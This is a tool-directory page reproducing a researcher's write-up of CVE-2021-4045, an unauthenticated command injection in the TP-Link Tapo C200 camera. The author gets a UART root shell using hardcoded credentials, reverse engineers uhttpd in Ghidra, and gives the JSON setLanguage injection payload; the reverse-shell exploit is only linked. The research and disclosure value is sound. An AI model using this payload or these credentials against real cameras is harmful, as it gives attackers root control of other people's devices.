Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-4045 — Command injection exploit for TP-Link Tapo C200 camera (CVE-2021-4045) providing root shell access via UART and reverse-engineered uhttpd binary analysis. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2021-4045
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationReverse EngineeringHardware HackingPenetration TestingCommand and ControlFirmware Analysis
GitHubkaleth4/cve-2021-4045

CVE-2021-4045

Command injection exploit for TP-Link Tapo C200 camera (CVE-2021-4045) providing root shell access via UART and reverse-engineered uhttpd binary analysis.

2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

🔍 CVE-2021-4045: Command Injection Vulnerability in TP-Link Tapo C200

image

CVE-2021-4045


📌 Summary

CVE-2021-4045 is a command injection vulnerability discovered in the TP-Link Tapo C200 camera, allowing an attacker to take full control of the device with root privileges. This vulnerability affects all firmware versions prior to 1.1.16 Build 211209 Rel. 37726N.

🔗 Official INCIBE advisory: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2021-4045 (Replace with actual link)

🔧 Recommended solution: Update the firmware to version 1.1.16 or higher.



🛠 Initial Reconnaissance

Device configuration and features

  • Budget IP camera (~€30) with advanced features:
    • SD card recording.
    • 360° horizontal and 90° vertical rotation.
    • Real-time audio playback from the mobile app.

Port scanning```bash

$ nmap -sV -p- 192.168.1.81

root@kitploit:~
**Result**:```
PORT     STATE SERVICE
443/tcp  open  https
554/tcp  open  rtsp
2020/tcp open  xinupageserver
8800/tcp open  sunwebadmin
image As can be seen, the device has some interesting open ports. The first thing I tried was port 443. Although nmap clearly indicates it uses https, when I did the initial scan, I overlooked it and spent quite some time thinking that port 443 was using http. Because of this, I only tried http://192.168.1.81:443 instead of https://192.168.1.81:443, so I only got 400 responses. As I said in the introduction, this process was full of failures. As for the other ports, the services running on them were completely unknown to me and I couldn't find any clear information about them. At that point, I had run out of known options, so it was time to investigate further.

----[ Getting a shell ]-------------------------------

Before buying the camera, I searched online for previous research on the device and, luckily, I found this GitHub repository where people were collaborating on reverse engineering. One of the issues explained how to get console access via the UART port, something I was completely unaware of at that time. So I learned the basics and bought a USB to TTL converter to connect. image With the help of the aforementioned issue, I was able to open the device with a knife and a screwdriver and quickly locate the UART. After a couple of attempts and a lot of patience, I finally managed to solder some wires to the pads.

image

Then, it was time to check if the soldering was good enough for data transmission. I connected the wires to the USB adapter, keeping in mind that UART Rx goes to the adapter's Tx and vice versa, and connected the adapter to my computer. Again, thanks to the mentioned issue, I knew the baud rate for the serial connection was 57600, so I ran:

$ sudo screen /dev/tty.usbserial-0001 57600

Where '/dev/tty.usbserial-0001' is the USB port to which the adapter is connected and which powers the device. I immediately started receiving data, great.

However, I still didn't have console access. What I was receiving was simply the device's boot sequence, which was actually the U-Boot bootloader. It looked something like this:

U-Boot 2014.01-v1.2 (Jul 16 2021 - 18:41:10)

Board: IPCAM RTS3903 CPU: 500M :rx5281 prid=0xdc02 force spi nor mode DRAM: 64 MiB @ 1066 MHz Skipping flash_init Flash: 0 Bytes flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB Using default environment

Autobooting in 1 seconds copying flash to 0x81500000 flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB SF: 8388608 bytes @ 0x0 Read: OK

[...]

Pressing Enter prompted us to enter a username and password. Thanks to that GitHub issue, we know the credentials, so we can log in successfully with the user 'root' and password 'slprealtek' and finally get console access.

Once I verified the connection worked, I needed to reinforce the soldering, as it had broken twice during the process of reassembling the casing. I applied hot glue to secure all the wires and closed the device, disconnecting all the motors. Now, my test unit was ready.

image

----[ Exploring the device ]--------------------------

Now that we have a shell, let's explore the device:

root@SLP:~# uname -a Linux SLP 3.10.27 #1 PREEMPT Wed Nov 11 20:42:05 CST 2020 rlx GNU/Linux

root@SLP:~# cat /etc/openwrt_version 12.09-rc1

As we can see, this is an OpenWRT machine running Linux 3.10.27. Now let's check the active processes and open ports:

root@SLP:~# ps PID USER VSZ STAT COMMAND 1 root 2328 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [kworker/0:0] 5 root 0 SW< [kworker/0:0H] 6 root 0 SW [kworker/u2:0] 7 root 0 SW [rcu_preempt] 8 root 0 SW [rcu_bh] 9 root 0 SW [rcu_sched] 10 root 0 SW< [khelper] 11 root 0 SW< [writeback] 12 root 0 SW< [bioset] 13 root 0 SW< [kblockd] 14 root 0 SW [khubd] 15 root 0 SW [kworker/0:1] 16 root 0 SW [kswapd0] 17 root 0 SW [fsnotify_mark] 18 root 0 SW< [crypto] 27 root 0 SW [kworker/u2:1] 46 root 0 SW< [deferwq] 47 root 0 SW< [kworker/0:1H] 247 root 2328 S -ash 262 root 0 SW [irq/27-gpio res] 273 root 0 SW< [cryptodev_queue] 282 root 860 S /sbin/hotplug2 --override --persistent --set-rules-f 304 root 888 S /sbin/ubusd 325 root 8152 S tp_manage 357 root 3416 S /usr/bin/ledd 361 root 3408 S /sbin/msglogd 367 root 3220 S /usr/sbin/netlinkd 370 root 5468 S < /usr/bin/system_state_audio 379 root 10180 S /usr/sbin/wlan-manager 491 root 1636 S /sbin/netifd 492 root 1520 S /usr/sbin/connModed 494 root 11488 S /usr/bin/dsd 496 root 1532 S /usr/sbin/connModed 502 root 7640 S /bin/cloud-service 520 root 4360 S /bin/cloud-brd -c /var/etc/cloud_brd_conf 653 root 15020 S /bin/cloud-client 830 root 2320 S /usr/sbin/telnetd -b 127.0.0.1 861 root 3852 S /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C 870 root 6048 S /usr/bin/relayd 872 root 5948 S /usr/bin/rtspd 879 root 4612 S /usr/bin/p2pd 884 root 11152 S /bin/dn_switch 889 root 4180 S /bin/storage_manager 920 root 40940 S /bin/cet 956 root 32336 S /bin/vda 960 root 3808 S /bin/wtd 970 root 11288 S /bin/nvid 1019 root 2332 S udhcpc -p /var/run/static-dhcpc.pid -s /lib/netifd/s 1037 root 0 SW [RTW_CMD_THREAD] 1059 root 1212 S wpa_supplicant -B -Dwext -iwlan0 -P/tmp/supplicant_p 1089 root 2332 S /usr/sbin/ntpd -n -p time.nist.gov -p 133.100.9.2 -p 1103 root 3840 S /usr/bin/motord 1447 root 2324 R ps

root@SLP:~# netstat -natpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8800 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:929 0.0.0.0:* LISTEN 875/p2pd tcp 0 0 0.0.0.0:20002 0.0.0.0:* LISTEN 325/tp_manage tcp 0 0 0.0.0.0:2020 0.0.0.0:* LISTEN 969/nvid tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN 832/telnetd tcp 0 0 127.0.0.1:921 0.0.0.0:* LISTEN 878/relayd tcp 0 0 127.0.0.1:922 0.0.0.0:* LISTEN 877/rtspd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 863/uhttpd tcp 0 0 192.168.1.80:37380 52.19.66.90:443 ESTABLISHED 507/cloud-brd udp 0 0 0.0.0.0:20002 0.0.0.0:* 325/tp_manage udp 0 0 0.0.0.0:38000 0.0.0.0:* 1087/ntpd udp 0 0 0.0.0.0:3702 0.0.0.0:* 969/nvid

We can see the processes behind those open ports that appeared in the nmap scan, such as uhttpd or cet. I focused specifically on the uhttpd process, since it's the one behind the https server (which at that time I still thought was http) and I was already very familiar with http protocols.

uhttpd is a web server created by OpenWRT for use on embedded devices running this distribution. At this point, I wanted to know if I could get more information about it, such as the source code or at least the paths. I visited the OpenWRT wiki and learned about uhttpd and OpenWRT in general. In OpenWRT machines, there is a system called the Unified Configuration Interface (UCI), which is basically used to easily configure system services. Using this, we can get the uhttpd configuration:

root@SLP:~# uci show | grep uhttpd ucitrack.@uhttpd[0]=uhttpd ucitrack.@uhttpd[0].init=uhttpd uhttpd.main=uhttpd uhttpd.main.listen_https=443 uhttpd.main.home=/ww uhttpd.main.rfc1918_filter=1 uhttpd.main.max_requests=8 uhttpd.main.cert=/tmp/uhttpd.crt uhttpd.main.key=/tmp/uhttpd.key uhttpd.main.cgi_prefix=/cgi-bin uhttpd.main.lua_prefix=/luci uhttpd.main.lua_handler=/usr/lib/lua/luci/sgi/uhttpd.lua uhttpd.main.script_timeout=180 uhttpd.main.network_timeout=180 uhttpd.main.tcp_keepalive=0 uhttpd.px5g=cert uhttpd.px5g.days=3600 uhttpd.px5g.bits=1024 uhttpd.px5g.country=CN uhttpd.px5g.state=China uhttpd.px5g.location=China uhttpd.px5g.commonname=TP-Link upnpc.uhttpd=entry upnpc.uhttpd.proto=TCP upnpc.uhttpd.ext_port=80 upnpc.uhttpd.desc=uhttpd

Here there are some interesting parameters. First, 'uhttpd.main.home' points to the server's root directory, so we might find some web server files. Then, 'uhttpd.main.lua_handler' points to the Lua handler script that is used to initialize the Lua runtime environment when the server starts, since uhttpd supports Lua scripts, so there could be more interesting files there. However, the '/www' directory is empty and there is no 'sgi' directory in '/usr/lib/lua/luci' nor the 'uhttpd.lua' file on the system. I tried to find information about how this uhttpd instance works, but I found nothing, only configuration parameters that point nowhere.

At this point, I knew the solution was to directly analyze the 'uhttpd' binary and apply reverse engineering, but first I wanted to create a test environment to know what happened inside the web server when making requests, since, from the way the process was created, there was no output anywhere.

I tried running the command found in the ps output for process 861:

$ /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C

However, I got many errors and couldn't get it to work. Since I couldn't create the same uhttpd process on a different port, I tried to find the missing output by checking the '/proc' entry of the process, to try to read them if they existed (as explained in this PwnFunction video). But there was a big problem:

root@SLP:~# sudo ls -l /proc/864/fd/ lrwx------ 1 root root 64 Nov 10 22:44 0 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 1 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 2 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 3 -> anon_inode:[eventpoll] lrwx------ 1 root root 64 Nov 10 22:44 4 -> socket:[1830]

All file descriptors for 'stdin', 'stdout', and 'stderr' were redirected to '/dev/null', which basically redirects them to a black hole where they cannot be found. I was stuck and didn't know what to do. Since I was already in the '/proc' entry, I started investigating, because I didn't remember that '/proc' entries had so much information about a process and I was curious. Thanks to this fortunate curiosity, I stumbled upon the 'environ' entry, which contains all the environment variables for that process. One of these environment variables was:

UHTTPD_ARGS=-h /www -T 180 -A 0 -n 8 -R -r C200 -C /tmp/uhttpd.crt -K /tmp/uhttpd.key -s 443

I immediately realized that the command shown by ps was incorrect and, subsequently, I discovered that it was because the UART interface did not have enough width to display all characters. Another failure that taught me important lessons: never trust the output of a UART port.

Now I could finally create another instance of uhttpd with the same parameters and without pipes to '/dev/null' to test the binary while reverse engineering it.

----[ Reverse engineering uhttpd with Ghidra ]--------

This was the first time I used Ghidra. I had watched some videos and read some articles about it (thanks to stacksmashing and liveoverflow for the amazing and easy-to-understand content), but I had never actually used it, so this was a very good opportunity to learn.

I opened the uhttpd binary and, after several attempts, I found out that the language was MIPS32, little endian, with mips16e. Some function names came by default with the binary, but others did not. I also spent some time renaming functions, since, apparently, Ghidra often gets confused with external functions and you get strange wrappers for them, like:

image I analyzed the `main()` function and other important ones to understand the binary's logic and structure. I found some interesting ones, already identified, among which were `do_login()` and `uh_slp_proto_request()`. I'll talk more about the latter later.

After this first contact, I started looking for bugs. Since I'm a complete novice at overflow vulnerabilities, the first thing I did was look for calls to system(), exec(), and popen() to check if there was any command injection vulnerability that I could easily exploit. And what luck I had.

The function 'exec_and_read_json()' uses 'popen()' to execute commands:

exec_and_read_json

The function 'exec_and_read_json()' is used by two unnamed functions, which I have called 'set_language()' and 'wifi_connect()'. These functions handle language configuration and Wi-Fi connection respectively (obviously). 'wifi_connect()' seems to parse single quotes ('), while 'set_language()' does not. This means that if we can control the input to the 'set_language()' function, we can successfully inject our own commands:

wifi_connect set_language

The function 'set_language()' is used by 'uh_slp_proto_request()', the function I mentioned earlier, which passes as input some parsed data received from the user.

main_function_1 main_function_2

To parse user data, uh_slp_proto_request() checks if it is a valid JSON object. Then, it gets a string value identified by the key method and a dictionary value identified by params (at least I think so, since Ghidra could not resolve the function call, but it seemed to work this way). Depending on the selected method, uh_slp_proto_request() selects the function to execute.

So, by sending the following payload:{"method": "setLanguage", "params":{}}

We correctly call the function 'set_language()' and pass '{}' as the 'language_json' parameter. Then, inside 'set_language()', the 'language_json' object is converted to a string and directly inserted into "ubus call system_state_audio set_language '%s'" for execution.

When sending this payload:{"method": "setLanguage", "params": {"payload": "'; touch poc;'"}}

The following will be executed.

ubus call system_state_audio set_language '{"payload": "'; touch poc;'"}'

Which actually contains 3 commands:

ubus call system_state_audio set_language '{"payload": "' touch poc '"}'

The second one allows full code execution.

Now, the 'uh_slp_proto_request()' function is used by another unnamed function that handles all requests, which I have called 'main_server_function()'. If a request is valid (does not exceed the maximum length, uses 'http' or 'https' according to the server configuration, etc.), 'main_server_function()' checks whether the URL contains '/cgi-bin/luci' or '/web-static'. If not, 'uh_slp_proto_request()' is called.

uh_slp_proto_request_entrypoint

When testing and sending a couple of requests to the camera, we can verify that the data used by 'uh_slp_proto_request()' is standard POST data. Therefore, if we send a POST request to '/' with the above payload, 'uh_slp_proto_request()' will process this data, call 'set_language()', and our payload will be injected into the command executed by 'exec_and_get_result()'.

As you can see, I did not mention anything about authentication, since the 'setLanguage()' function can be called without logging in. This allows any user to take full control of the camera with a single unauthenticated request.

----[ Exploitation ]----------------------------------

Now it's time to write the exploit. I spent some time figuring out how to get a reverse shell with netcat. It seemed simple, but I couldn't get it to work. I discovered that the version of netcat installed in BusyBox is quite limited in functionality, so conventional reverse shells were not valid. However, I found what I was looking for in the PayloadsAllTheThings repository (as always) and obtained the perfect reverse shell. Since uhttpd runs as root (thanks to TP-Link), we get a shell with maximum privileges just by sending a malicious POST request. The exploit is available on the GitHub page: https://github.com/hacefresko/CVE-2021-4045/blob/master/pwntapo.py image

🚨 Lesson learned:

  • I confused https with http on port 443, wasting time until I discovered the error.
  • The services on ports 2020, 554 and 8800 were unknown, which required additional investigation.

🔓 Getting a Shell

Accessing the console via UART

  1. Prior research:
    • I found a GitHub repository with information about reverse engineering the device.
    • I learned how to use a USB to TTL converter to access the UART port.
Download Tool